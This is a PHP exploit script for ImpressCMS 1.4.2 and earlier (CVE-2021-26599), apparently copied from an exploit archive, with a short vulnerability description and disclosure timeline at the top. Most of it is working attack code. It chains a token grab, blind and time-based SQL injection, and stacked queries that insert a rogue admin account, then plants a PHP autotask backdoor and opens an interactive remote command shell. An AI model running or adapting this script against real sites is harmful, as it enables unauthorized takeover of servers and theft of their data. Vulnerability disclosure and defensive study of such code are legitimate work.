Share
## https://sploitus.com/exploit?id=PACKETSTORM:166419
<?php  
  
/*  
----------------------------------------------------------  
ImpressCMS <= 1.4.2 SQL Injection to Remote Code Execution  
----------------------------------------------------------  
  
author..............: Egidio Romano aka EgiX  
mail................: n0b0d13s[at]gmail[dot]com  
software link.......: https://www.impresscms.org  
  
+-------------------------------------------------------------------------+  
| This proof of concept code was written for educational purpose only. |  
| Use it at your own risk. Author will be not responsible for any damage. |  
+-------------------------------------------------------------------------+  
  
[-] Vulnerability Description:  
  
User input passed through the "groups" POST parameter to the /include/findusers.php script is not  
properly sanitized before being passed to the icms_member_Handler::getUserCountByGroupLink() and  
icms_member_Handler::getUsersByGroupLink() methods. These methods use the first argument to  
construct a SQL query without proper validation, and this can be exploited by remote attackers  
to e.g. read sensitive data from the "users" database table through boolean-based SQL Injection  
attacks. The application uses PDO as a database driver, which allows for stacked SQL queries,  
as such this vulnerability could be exploited to e.g. create a new admin user and execute  
arbitrary PHP code.  
  
[-] CVE Reference:  
  
The Common Vulnerabilities and Exposures project (cve.mitre.org)  
has assigned the name CVE-2021-26599 to this vulnerability.  
  
[-] Disclosure timeline:  
  
[19/01/2021] - Vendor notified through HackerOne  
[29/01/2021] - Vulnerability acknowledged by the vendor  
[03/02/2021] - CVE number assigned  
[06/02/2022] - Version 1.4.3 released, vulnerability not correctly fixed  
[11/02/2022] - Vendor was informed about the ineffective fix  
[09/03/2022] - Version 1.4.4 released  
[22/03/2022] - Public disclosure  
  
[-] Technical writeup:  
  
http://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce  
*/  
  
set_time_limit(0);  
error_reporting(E_ERROR);  
  
if (!extension_loaded("curl")) die("[-] cURL extension required!\n");  
  
function hex_enc($input)  
{  
for ($i = 0; $i < strlen($input); $i++)  
$encoded .= sprintf("%02x", ord($input[$i]));  
return "0x{$encoded}";  
}  
  
print "+-----------------------------------------------------------+\n";  
print "| ImpressCMS <= 1.4.2 Remote Code Execution Exploit by EgiX |\n";  
print "+-----------------------------------------------------------+\n";  
  
if ($argc != 2)  
{  
print "\nUsage: php $argv[0] <URL>";  
print "\nExample.: php $argv[0] http://localhost/impresscms/";  
print "\nExample.: php $argv[0] https://www.impresscms.org/\n\n";  
die();  
}  
  
$url = $argv[1];  
$ch = curl_init();  
  
curl_setopt($ch, CURLOPT_HEADER, true);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  
  
print "\n[+] Retrieving security token (CVE-2021-26598)\n";   
  
curl_setopt($ch, CURLOPT_URL, "{$url}misc.php?action=showpopups&type=friend");  
  
$res = curl_exec($ch);  
  
if (!preg_match("/(cookie: [^;]+); path/i", $res, $sid)) die("[-] Session coookie not found!\n");  
if (!preg_match("/TOKEN_REQUEST' value='([^']+)'/", $res, $token)) die("[-] Token not found!\n");  
  
print "[+] Starting SQL Injection attack (CVE-2021-26599)\n";  
print "[*] Step 1: retrieving database name\n";  
  
curl_setopt($ch, CURLOPT_URL, "{$url}include/findusers.php");  
curl_setopt($ch, CURLOPT_HTTPHEADER, [$sid[1]]);  
  
$params = "user_submit=1&token={$token[1]}&groups[]=%s";  
  
$min = true;  
$idx = 1;  
  
while(1)  
{  
$test = 256;  
  
for ($i = 7; $i >= 0; $i--)  
{  
$test = $min ? ($test - pow(2, $i)) : ($test + pow(2, $i));  
$sql = "1) AND ORD(SUBSTR(DATABASE(),{$idx},1))<{$test}#";  
curl_setopt($ch, CURLOPT_POSTFIELDS, sprintf($params, urlencode($sql)));  
$min = !preg_match("/No Users Found/", curl_exec($ch));  
}  
  
if (($chr = $min ? ($test - 1) : ($test)) == 0) break;  
$dbname .= chr($chr); $min = true; $idx++;  
print "\r[+] DB name: {$dbname}";  
}  
  
print "\n[*] Step 2: retrieving tables prefix\n";  
  
$sub = "SELECT TRIM(TRAILING 'users' FROM table_name) FROM information_schema.tables WHERE table_schema='{$dbname}' AND table_name LIKE '%users'";  
$min = true;  
$idx = 1;  
  
while(1)  
{  
$test = 256;  
  
for ($i = 7; $i >= 0; $i--)  
{  
$test = $min ? ($test - pow(2, $i)) : ($test + pow(2, $i));  
$sql = hex_enc("SELECT IF(ORD(SUBSTR(({$sub}),{$idx},1))<{$test},1,SLEEP(1))");  
$sql = "0); SET @q = {$sql}; PREPARE stmt FROM @q; EXECUTE stmt;#";  
curl_setopt($ch, CURLOPT_POSTFIELDS, sprintf($params, urlencode($sql)));  
$start = time(); curl_exec($ch); $secs = time() - $start;  
$min = ($secs < 2);  
}  
  
if (($chr = $min ? ($test - 1) : ($test)) == 0) break;  
$prefix .= chr($chr); $min = true; $idx++;  
print "\r[+] Prefix: {$prefix}";  
}  
  
print "\n[*] Step 3: creating new admin user\n";  
  
$uid = time();  
$enc = hex_enc("egix");  
$pwd = hex_enc(md5("egix"));  
$sql = "0); INSERT INTO {$prefix}users (uid, uname, login_name, pass, level, enc_type) VALUES ({$uid}, {$enc}, {$enc}, {$pwd}, 5, 0)#";  
  
curl_setopt($ch, CURLOPT_POSTFIELDS, sprintf($params, urlencode($sql)));  
curl_exec($ch);  
  
$sql = "0); INSERT INTO {$prefix}groups_users_link (groupid, uid) VALUES (1, {$uid})#";  
  
curl_setopt($ch, CURLOPT_POSTFIELDS, sprintf($params, urlencode($sql)));  
curl_exec($ch);  
  
print "[+] Trying to login as the new user\n";  
  
curl_setopt($ch, CURLOPT_URL, "{$url}user.php");  
curl_setopt($ch, CURLOPT_POSTFIELDS, "uname=egix&pass=egix&op=login");  
  
if (!preg_match("/(cookie: [^;]+); path/i", curl_exec($ch), $sid)) die("[-] Login failed!\n");  
  
print "[+] Creating malicious autotask\n";  
  
$phpcode = urlencode("if (isset(\$_SERVER[HTTP_CMD])) { print(____); passthru(base64_decode(\$_SERVER[HTTP_CMD])); die; }");  
  
curl_setopt($ch, CURLOPT_URL, "{$url}modules/system/admin.php");  
curl_setopt($ch, CURLOPT_HTTPHEADER, [$sid[1], "Referer: {$url}"]);  
curl_setopt($ch, CURLOPT_POSTFIELDS, "fct=autotasks&sat_name=rce&sat_code={$phpcode}&sat_enabled=1&op=addautotasks");  
  
if (!preg_match("/HTTP.*302/i", curl_exec($ch))) die("[-] Something went wrong!\n");  
  
print "[+] Launching shell\n";  
  
curl_setopt($ch, CURLOPT_URL, $url);  
curl_setopt($ch, CURLOPT_POST, false);  
  
while(1)  
{  
print "\nimpresscms-shell# ";  
if (($cmd = trim(fgets(STDIN))) == "exit") break;  
curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".base64_encode($cmd)]);  
preg_match('/____(.*)/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");  
}